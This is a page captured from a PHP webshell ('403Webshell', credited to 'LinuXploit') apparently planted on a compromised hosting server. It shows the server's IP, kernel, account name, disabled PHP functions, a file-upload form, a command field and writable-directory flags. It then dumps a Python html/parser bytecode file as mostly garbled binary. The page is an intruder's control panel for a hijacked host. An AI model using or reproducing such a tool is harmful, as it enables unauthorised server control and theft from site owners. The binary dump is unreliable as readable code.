403Webshell
Server IP : 51.79.230.26  /  Your IP : 216.73.217.128
Web Server : LiteSpeed
System : Linux sg2.exonhost.com 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64
User : mukutpub ( 1151)
PHP Version : 8.2.33
Disable Function : eval, show_source, system, shell_exec, passthru, exec, popen, proc_open, allow_url_fopen, symlink, mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/alt/python310/lib64/python3.10/html/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/alt/python310/lib64/python3.10/html/__pycache__/parser.cpython-310.pyc
o

��|jrW�@s�dZddlZddlZddlmZdgZe�d�Ze�d�Ze�d�Z	e�d�Z
e�d	�Ze�d
�Ze�d�Z
e�d�Ze�d
�Ze�d�Ze�dej�Ze�dej�Ze�dej�Ze�d�Ze�d�ZGdd�dej�ZdS)zA parser for HTML and XHTML.�N)�unescape�
HTMLParserz[&<]z
&[a-zA-Z#]z%&([a-zA-Z][-.a-zA-Z0-9]*)[^a-zA-Z0-9]z)&#(?:[0-9]+|[xX][0-9a-fA-F]+)[^0-9a-fA-F]z	<[a-zA-Z]z
</[a-zA-Z]�>z--!?>z-?>z0([a-zA-Z][^\t\n\r\f />]*)(?:[\t\n\r\f ]|/(?!>))*a{
  (
    (?<=['"\t\n\r\f /])[^\t\n\r\f />][^\t\n\r\f /=>]*  # attribute name
   )
  ([\t\n\r\f ]*=[\t\n\r\f ]*        # value indicator
    ('[^']*'                        # LITA-enclosed value
    |"[^"]*"                        # LIT-enclosed value
    |(?!['"])[^>\t\n\r\f ]*         # bare value
    )
   )?
  (?:[\t\n\r\f ]|/(?!>))*           # possibly followed by a space
a
  [a-zA-Z][^\t\n\r\f />]*           # tag name
  [\t\n\r\f /]*                     # optional whitespace before attribute name
  (?:(?<=['"\t\n\r\f /])[^\t\n\r\f />][^\t\n\r\f /=>]*  # attribute name
    (?:[\t\n\r\f ]*=[\t\n\r\f ]*    # value indicator
      (?:'[^']*'                    # LITA-enclosed value
        |"[^"]*"                    # LIT-enclosed value
        |(?!['"])[^>\t\n\r\f ]*     # bare value
       )
     )?
    [\t\n\r\f /]*                   # possibly followed by a space
   )*
   >?
aF
  <[a-zA-Z][^\t\n\r\f />\x00]*       # tag name
  (?:[\s/]*                          # optional whitespace before attribute name
    (?:(?<=['"\s/])[^\s/>][^\s/=>]*  # attribute name
      (?:\s*=+\s*                    # value indicator
        (?:'[^']*'                   # LITA-enclosed value
          |"[^"]*"                   # LIT-enclosed value
          |(?!['"])[^>\s]*           # bare value
         )
        \s*                          # possibly followed by a space
       )?(?:\s|/(?!>))*
     )*
   )?
  \s*                                # trailing whitespace
z#</\s*([a-zA-Z][-.a-zA-Z0-9:_]*)\s*>c@seZdZdZdZdZddd�dd�Zd	d
�Zdd�Zd
d�Z	dZ
dd�Zdd�dd�Zdd�Z
d>dd�Zdd�Zdd�Zd>dd�Zd?d d!�Zd"d#�Zd$d%�Zd&d'�Zd(d)�Zd*d+�Zd,d-�Zd.d/�Zd0d1�Zd2d3�Zd4d5�Zd6d7�Zd8d9�Zd:d;�Zd<d=�Z dS)@raEFind tags and other markup and call handler functions.

    Usage:
        p = HTMLParser()
        p.feed(data)
        ...
        p.close()

    Start tags are handled by calling self.handle_starttag() or
    self.handle_startendtag(); end tags by self.handle_endtag().  The
    data between tags is passed from the parser to the derived class
    by calling self.handle_data() with the data as argument (the data
    may be split up in arbitrary chunks).  If convert_charrefs is
    True the character references are converted automatically to the
    corresponding Unicode character (and self.handle_data() is no
    longer split in chunks), otherwise they are passed by calling
    self.handle_entityref() or self.handle_charref() with the string
    containing respectively the named or numeric reference as the
    argument.
    )ZscriptZstyleZxmpZiframeZnoembedZnoframes)Ztextarea�titleTF)�convert_charrefs�	scriptingcCs||_||_|��dS)azInitialize and reset this instance.

        If convert_charrefs is true (the default), all character references
        are automatically converted to the corresponding Unicode characters.

        If *scripting* is false (the default), the content of the
        ``noscript`` element is parsed normally; if it's true,
        it's returned as is without being parsed.
        N)rr�reset)�selfrr�r
�2/opt/alt/python310/lib64/python3.10/html/parser.py�__init__vs
zHTMLParser.__init__cCsFd|_d|_t|_d|_d|_d|_g|_d|_d|_	t
j�|�dS)z1Reset this instance.  Loses all unprocessed data.�z???NTr�)
�rawdata�lasttag�interesting_normal�interesting�
cdata_elem�_support_cdata�
_escapable�_pending�_pending_len�_parse_threshold�_markupbase�
ParserBaser�r	r
r
rr�szHTMLParser.resetcCs�|jt|�7_|j|jkr|j�|�dS|js"|j|7_n|j�|�|jd�|j�7_|j��d|_t|j�}|�d�t|j�|krQd|_dSt|j�|_dS)z�Feed data to the parser.

        Call this as often as you want, with as little or as much text
        as you want (may include '\n').
        r
rrN)	r�lenrr�appendr�join�clear�goahead)r	�data�nr
r
r�feed�s




zHTMLParser.feedcCs:|jr|jd�|j�7_|j��d|_|�d�dS)zHandle any buffered data.r
rrN)rrrrrr rr
r
r�close�s

zHTMLParser.closeNcCs|jS)z)Return full source of start tag: '<...>'.)�_HTMLParser__starttag_textrr
r
r�get_starttag_text�szHTMLParser.get_starttag_text��	escapablecCst|��|_||_|jdkrt�d�|_dS|r*|js*t�d|jtjtjB�|_dSt�d|jtjtjB�|_dS)N�	plaintextz\Zz&|</%s(?=[\t\n\r\f />])z</%s(?=[\t\n\r\f />]))	�lowerrr�re�compilerr�
IGNORECASE�ASCII)r	�elemr(r
r
r�set_cdata_mode�s




�

�zHTMLParser.set_cdata_modecCst|_d|_d|_dS)NT)rrrrrr
r
r�clear_cdata_mode�s
zHTMLParser.clear_cdata_modecCs
||_dS)aEnable or disable support of the CDATA sections.
        If enabled, "<[CDATA[" starts a CDATA section which ends with "]]>".
        If disabled, "<[CDATA[" starts a bogus comments which ends with ">".

        This method is not called by default. Its purpose is to be called
        in custom handle_starttag() and handle_endtag() methods, with
        value that depends on the adjusted current node.
        See https://html.spec.whatwg.org/multipage/parsing.html#markup-declaration-open-state
        for details.
        N)r)r	�flagr
r
r�_set_support_cdata�s
zHTMLParser._set_support_cdatacCs|j}d}t|�}||k�rY|jr;|js;|�d|�}|dkr:|�dt||d��}|dkr8t�d��	||�s8�n!|}n|j
�	||�}|rI|��}n|jrN�n|}||kro|jrf|jrf|�
t|||���n	|�
|||��|�||�}||kr{�n�|j}|d|��r�t�||�r�|�|�}	n@|d|�r�|�|�}	n5|d|�r�|�|�}	n*|d|�r�|�|�}	n|d	|�r�|�|�}	n|d
|ks�|r�|�
d�|d
}	n�n�|	dk�r�|sِn�t�||�r�n�|d|��r|d|kr�|�
d�n�t�||�r�n�|�||dd��n�|d|��r0|}dD]}
|�|
|d
��r"|t|
�8}n�q|�||d
|��nW|d|��rF|j�rF|�||dd��nA|||d���dk�r_|�||dd��n(|d	|��rq|�||dd��n|d|��r�|�||dd��nt d��|}	|�||	�}n�|d|��r�t!�||�}|�r�|�"�dd�}|�#|�|�$�}	|d|	d
��s�|	d
}	|�||	�}q	d||d�v�r�|�
|||d��|�||d�}ny|d|��rQt%�||�}|�r|�"d
�}|�&|�|�$�}	|d|	d
��s	|	d
}	|�||	�}q	t'�||�}|�r;|�r:|�"�||d�k�r:|�$�}	|	|k�r2|}	|�||d
�}n|d
|k�rP|�
d�|�||d
�}nnJd��||ks|�r�||k�r�|j�ru|j�ru|�
t|||���n	|�
|||��|�||�}||d�|_dS)Nr�<�&�"z[\t\n\r\f ;]�</�<!--�<?�<!r�)z--!z--�-��	<![CDATA[��	�	<!doctypezwe should not get here!z&#����;zinteresting.search() lied)(rrrr�find�rfind�maxr+r,�searchr�startr�handle_datarZ	updatepos�
startswith�starttagopen�match�parse_starttag�parse_endtag�
parse_comment�parse_pi�parse_html_declaration�
endtagopen�handle_comment�endswithr�unknown_declr*�handle_decl�	handle_pi�AssertionError�charref�group�handle_charref�end�	entityref�handle_entityref�
incomplete)r	r\r�ir"�jZampposrLrJ�k�suffix�namer
r
rr �s�
��







�




�}zHTMLParser.goaheadcCsp|j}|||d�dksJd��|||d�dkr |�|�S|||d�dkrJ|jrJ|�d|d�}|d	kr;d
S|�||d|��|dS|||d���dkrs|�d
|d�}|d
krdd
S|�||d|��|dS|||d�dkr�|�d
|d�}|d	kr�d
S||ddkr�|�||d|d��|dS|�||d|��|dS|�|�S)Nr;r:z+unexpected call to parse_html_declaration()r=r8r@r>z]]>rrBr?rArrz<![�])	rrOrrDrUr*rVrS�parse_bogus_comment)r	r`rraZgtposr
r
rrQjs4
�
z!HTMLParser.parse_html_declarationcCsp|j}|�d|�s
Jd��t�||d�}|s#t�||d�}|s#dS|r4|��}|�||d|��|��S)Nr8�"unexpected call to parse_comment()r=rB)	rrJ�commentcloserG�commentabruptcloserLrHrSr\)r	r`�reportrrLrar
r
rrO�szHTMLParser.parse_commentrcCs`|j}|||d�dvsJd��|�d|d�}|dkrdS|r,|�||d|��|dS)Nr;)r:r7rgrrBr)rrDrS)r	r`rjr�posr
r
rrf�szHTMLParser.parse_bogus_commentcCsd|j}|||d�dksJd��t�||d�}|sdS|��}|�||d|��|��}|S)Nr;r9zunexpected call to parse_pi()rB)r�picloserGrHrWr\�r	r`rrLrar
r
rrP�szHTMLParser.parse_picCsd|_|�|�}|dkr|S|j}|||�|_g}t�||d�}|s(Jd��|��}|�d���|_}||kr�t	�||�}|sCnS|�ddd�\}	}
}|
sRd}n-|dd�dkrd|dd�ksyn|dd�dkrw|dd�krnn|dd�}|r�t
|�}|�|	��|f�|��}||ks:|||���}|d	vr�|�
�\}
}d
|jvr�|
|j�d
�}
t|j�|j�d
�}n|t|j�}|�|||��|S|�d�r�|�||�|S|�||�||jvs�|jr�|dks�|d
kr�|j|dd�|S||jv�r|j|dd�|S)Nrrz#unexpected call to parse_starttag()r;r?�'rB�")r�/>�
rpZnoscriptr)Fr'T)r%�check_for_whole_start_tagr�tagfind_tolerantrLr\rZr*r�attrfind_tolerantrr�stripZgetpos�countrrErIrT�handle_startendtag�handle_starttag�CDATA_CONTENT_ELEMENTSrr0�RCDATA_CONTENT_ELEMENTS)r	r`�endposr�attrsrLrb�tag�m�attrname�restZ	attrvaluer\�lineno�offsetr
r
rrM�sf
&(�

�
	�
��zHTMLParser.parse_starttagcCs>|j}t�||d�}|sJ�|��}||ddkrdS|S)NrrrB)r�locatetagendrLr\rmr
r
rrr�sz$HTMLParser.check_for_whole_start_tagcCs�|j}|||d�dksJd��|�d|d�dkrdSt�||�s8||d|d�dkr3|dS|�|�St�||d�}|sDJ�|��}||ddkrRdSt�||d�}|s^J�|�d��	�}|�
|�|��|S)	Nr;r7zunexpected call to parse_endtagrrrBr?r)rrDrRrLrfr�r\rsrZr*�
handle_endtagr1)r	r`rrLrar}r
r
rrN�s&

zHTMLParser.parse_endtagcCs|�||�|�|�dS�N)rxr��r	r}r|r
r
rrwszHTMLParser.handle_startendtagcC�dSr�r
r�r
r
rrx�zHTMLParser.handle_starttagcCr�r�r
)r	r}r
r
rr�r�zHTMLParser.handle_endtagcCr�r�r
�r	rdr
r
rr[!r�zHTMLParser.handle_charrefcCr�r�r
r�r
r
rr^%r�zHTMLParser.handle_entityrefcCr�r�r
�r	r!r
r
rrI)r�zHTMLParser.handle_datacCr�r�r
r�r
r
rrS-r�zHTMLParser.handle_commentcCr�r�r
)r	Zdeclr
r
rrV1r�zHTMLParser.handle_declcCr�r�r
r�r
r
rrW5r�zHTMLParser.handle_picCr�r�r
r�r
r
rrU8r�zHTMLParser.unknown_decl)T)r)!�__name__�
__module__�__qualname__�__doc__ryrzrrr#r$r%r&r0r1r3r rQrOrfrPrMrrrNrwrxr�r[r^rIrSrVrWrUr
r
r
rrZs@


"
9
)r�r+rZhtmlr�__all__r,rr_r]rYrKrRrlrhrirs�VERBOSErtr�Zlocatestarttagend_tolerantZ	endendtagZ
endtagfindrrr
r
r
r�<module>s6











�
��



Youez - 2016 - github.com/yon3zu
LinuXploit